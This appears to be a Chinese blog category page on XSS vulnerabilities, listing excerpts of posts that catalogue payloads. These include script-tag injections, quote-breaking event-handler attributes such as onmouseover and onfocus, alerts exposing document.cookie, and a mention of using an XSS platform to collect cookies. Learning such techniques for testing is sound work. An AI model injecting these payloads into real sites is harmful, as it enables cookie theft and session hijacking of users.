随笔分类 -  xss漏洞

摘要：xss的构造方式： 一，尖括号构造 <script>alert(1)</script> 二，事件构造 "onmouseover="alert(1) "onfocus="alert(document.cookie) 例如：已知输入点，首先先闭合双引号，则构造如下语句 ” onmouseover="al 阅读全文

摘要：'><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable) 阅读全文

摘要：1,<script>alert(decument.cookie)</script> 2,利用xss平台获取cookie 阅读全文